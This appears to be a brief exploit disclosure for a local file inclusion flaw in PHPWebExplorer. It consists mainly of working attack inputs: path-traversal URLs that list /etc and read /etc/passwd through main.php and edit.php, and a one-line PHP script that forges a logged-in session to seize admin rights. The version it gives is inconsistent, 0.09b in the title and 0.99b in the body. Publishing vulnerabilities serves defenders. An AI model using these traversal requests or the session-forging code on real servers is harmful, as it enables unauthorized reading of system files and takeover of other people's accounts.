-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- PHPWebExplorer <= 0.09b: Local File Inclusion Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- $ Program: PHPWebExplorer $ File(s) affected: main.php / edit.php $ Version: 0.99b $ Download: http://sourceforge.net/projects/phpwebexplorer/ Found by Pepelux <pepelux[at]enye-sec.org> eNYe-Sec - www.enye-sec.org -- Exploit -- If you have access to the control panel: http://localhost/main.php?refer=d&d=../../../etc http://localhost/edit.php?file=../../../etc/passwd If you are not a register user but you have access to write any file to the server (ex: a shared server where you can create an account) you can win admin privileges creating and executing a simple PHP: <? session_start(); $_SESSION['logged_in']='user1'; ?>